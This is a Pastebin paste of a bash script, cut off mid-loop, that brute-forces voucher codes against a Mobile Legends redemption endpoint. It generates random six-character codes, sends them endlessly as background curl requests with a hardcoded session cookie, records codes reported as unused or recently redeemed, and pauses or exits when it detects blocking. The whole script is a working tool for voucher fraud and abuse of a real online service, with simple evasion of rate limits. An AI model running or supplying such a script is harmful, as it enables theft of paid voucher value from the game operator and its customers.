Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- gameid='122414408'
- function ekse(){
- local CY='\e[36m'
- local GR='\e[34m'
- local OG='\e[92m'
- local WH='\e[37m'
- local RD='\e[31m'
- local YL='\e[33m'
- local BF='\e[34m'
- local DF='\e[39m'
- local OR='\e[33m'
- local PP='\e[35m'
- local B='\e[1m'
- local CC='\e[0m'
- local NEW_UUID1=$(cat /dev/urandom | tr -dc '0-9' | fold -w 3 | head -n 1)
- local NEW_UUID2=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 3 | head -n 1)
- local reedemcode=$(echo ${NEW_UUID1}${NEW_UUID2}037)
- local ngecurl=$(curl -k -s 'https://www.mobilelegends.com/user/vivoexchange?gameid='${1}'&cdkey='${reedemcode}'' \
- -H 'accept:application/json, text/javascript, */*; q=0.01' \
- -H 'user-agent: '${3}'' \
- -H 'cookie:PHPSESSID=sjqvb9sbkcgvedcp8kaet93766; _ga=GA1.2.654755736.1511317123; _gid=GA1.2.1313806257.1511317123; _gat=1' \
- -H 'x-requested-with:XMLHttpRequest')
- local message=$(echo $ngecurl | jq -r .message)
- if [[ $message == "The code cannot be redeemed any more." ]]; then
- echo "${reedemcode} => ${message} (Have not been used)" >> outputvivo.txt
- printf "${2}. Voucher: ${reedemcode} => ${B}${GR}${message}${CC} \n"
- elif [[ $message == "Success!" ]]; then
- echo "${reedemcode} => ${message} (Recently used)" >> outputvivo.txt
- printf "${2}. Voucher: ${reedemcode} => ${B}${GR}${message}${CC} \n"
- elif [[ $message == "null" ]]; then
- echo "${reedemcode} => ${message} (Recheck)" >> outputvivo.txt
- printf "${2}. Voucher: ${reedemcode} => ${B}${YL}${message}${CC} \n"
- else
- printf "${2}. Voucher: ${reedemcode} => ${B}${RD}${message}${CC} \n"
- fi
- }
- printf "Info: \n"
- printf "* GameId: ${B}${GR}${gameid}${CC} \n"
- printf "* Looping type: while true\n\n"
- # OPTIONAL
- persend=4
- setleep=2
- printf "Ratio: \n"
- printf "* Persend: ${persend}\n"
- printf "* setSleep: ${setleep}\n\n"
- itung=1
- while [[ true ]]; do
- set_kirik=$(expr $itung % $persend)
- if [[ $set_kirik == 0 && $itung > 0 ]]; then
- blockedTest=$(curl -s -o /dev/null -w "%{http_code}" "https://www.mobilelegends.com/user/code?country=en")
- if [[ $blockedTest != "200" ]]; then
- printf "Blocked Detect, Kill PID NOW !"
- exit 1
- fi
- sleep $setleep
- fi
- ekse $gameid $itung $UA &
- itung=$[$itung+1]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement